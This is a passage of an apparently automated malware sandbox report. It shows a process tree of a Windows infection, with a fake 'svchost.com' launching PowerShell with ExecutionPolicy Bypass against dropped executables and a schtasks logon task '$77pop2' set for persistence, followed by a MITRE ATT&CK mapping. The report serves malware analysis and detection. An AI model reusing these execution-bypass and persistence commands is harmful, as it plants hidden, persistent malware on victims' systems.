    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\owmipd.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4768
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\owmipd.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2060
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\owmipd.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\owmipd.exe
        
        C:\Users\Admin\AppData\Local\Temp\owmipd.exe
        8⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:944
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77pop2" /tr '"C:\Users\Admin\AppData\Roaming\$77pop2.exe"' & exit
        9⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3612
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn $77pop2 /tr '"C:\Users\Admin\AppData\Roaming\$77pop2.exe"' & exit
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:908
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn $77pop2 /tr '"C:\Users\Admin\AppData\Roaming\$77pop2.exe"'
        11⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7402.tmp.bat""
        9⤵
        
        PID:2460
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        10⤵
        Delays execution with timeout.exe
        
        PID:3964
        
        C:\Users\Admin\AppData\Roaming\$77pop2.exe
        
        "C:\Users\Admin\AppData\Roaming\$77pop2.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:3172
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zsfhna.exe"' & exit
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:668
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zsfhna.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3668
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2460
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zsfhna.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:3408
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\zsfhna.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2780
        
        C:\Users\Admin\AppData\Local\Temp\zsfhna.exe
        
        C:\Users\Admin\AppData\Local\Temp\zsfhna.exe
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1840
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:4616
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xsjjme.exe"' & exit
      4⤵
      PID:2452
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xsjjme.exe"' & exit
        5⤵
        
        PID:3372
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xsjjme.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1880
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\xsjjme.exe"
        7⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\xsjjme.exe
        
        C:\Users\Admin\AppData\Local\Temp\xsjjme.exe
        8⤵
        
        PID:396
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ryutdn.exe"' & exit
      4⤵
      PID:2676
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ryutdn.exe"' & exit
        5⤵
        
        PID:4548
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ryutdn.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4348
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\ryutdn.exe"
        7⤵
        
        PID:2452
        
        C:\Users\Admin\AppData\Local\Temp\ryutdn.exe
        
        C:\Users\Admin\AppData\Local\Temp\ryutdn.exe
        8⤵
        
        PID:8
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zymwzo.exe"' & exit
      4⤵
      PID:1576
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zymwzo.exe"' & exit
        5⤵
        
        PID:5048
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zymwzo.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2072
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\zymwzo.exe"
        7⤵
        
        PID:628
        
        C:\Users\Admin\AppData\Local\Temp\zymwzo.exe
        
        C:\Users\Admin\AppData\Local\Temp\zymwzo.exe
        8⤵
        
        PID:4548
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tnejup.exe"' & exit
      4⤵
      PID:2720
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tnejup.exe"' & exit
        5⤵
        
        PID:1580
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tnejup.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1752
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\tnejup.exe"
        7⤵
        
        PID:1384
        
        C:\Users\Admin\AppData\Local\Temp\tnejup.exe
        
        C:\Users\Admin\AppData\Local\Temp\tnejup.exe
        8⤵
        
        PID:716
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xjvkol.exe"' & exit
      4⤵
      PID:4848
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xjvkol.exe"' & exit
        5⤵
        
        PID:4940
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xjvkol.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4632
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\xjvkol.exe"
        7⤵
        
        PID:1328
        
        C:\Users\Admin\AppData\Local\Temp\xjvkol.exe
        
        C:\Users\Admin\AppData\Local\Temp\xjvkol.exe
        8⤵
        
        PID:3036
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xrbyio.exe"' & exit
      4⤵
      PID:4460
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xrbyio.exe"' & exit
        5⤵
        
        PID:2544
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xrbyio.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2652
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\xrbyio.exe"
        7⤵
        
        PID:3624
        
        C:\Users\Admin\AppData\Local\Temp\xrbyio.exe
        
        C:\Users\Admin\AppData\Local\Temp\xrbyio.exe
        8⤵
        
        PID:2064
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBE55.tmp.bat""
      4⤵
      PID:2200
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /renew
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /renew
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:4940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3920

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4116

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4660

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2184

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1396

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:440

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1856

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
PID:3560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery